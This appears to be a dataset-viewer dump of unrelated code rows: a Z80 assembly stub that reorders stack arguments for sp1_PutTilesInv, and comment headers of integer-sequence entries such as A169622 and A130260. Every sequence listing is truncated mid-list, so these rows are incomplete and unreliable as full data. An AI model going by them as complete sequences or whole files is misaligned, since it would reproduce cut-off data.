; 0,1,25,94,230,455,791,1260,1884,2685,3685,4906,6370,8099,10115,12440,15096,18105,21489,25270,29470,34111,39215,44804,50900,57525,64701,72450,80794,89755,99355,109616,120560,132209,144585,157710,171606,186295,201799,218140,235340,253421,272405,292314,313170,334995,357811,381640,4... |
; void sp1_PutTilesInv(struct sp1_Rect *r, struct sp1_tp *src)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_PutTilesInv
EXTERN l0_sp1_PutTilesInv_callee
_sp1_PutTilesInv:
pop af
pop hl
pop de
push de
push hl
push af
jp l0_sp1_PutTilesInv_callee
|
; A169622: a(n) = a(n-1) + Fibonacci(n), a(1)=5.
; 5,6,8,11,16,24,37,58,92,147,236,380,613,990,1600,2587,4184,6768,10949,17714,28660,46371,75028,121396,196421,317814,514232,832043,1346272,2178312,3524581,5702890,9227468,14930355,24157820,39088172,63245989,102334158,165580144,267914299,433494440,701408736,1134903173,183... |
; A130260: Minimal index k of an even Fibonacci number A001906 such that A001906(k) = Fib(2k) >= n (the 'upper' even Fibonacci Inverse).
; 0,1,2,2,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.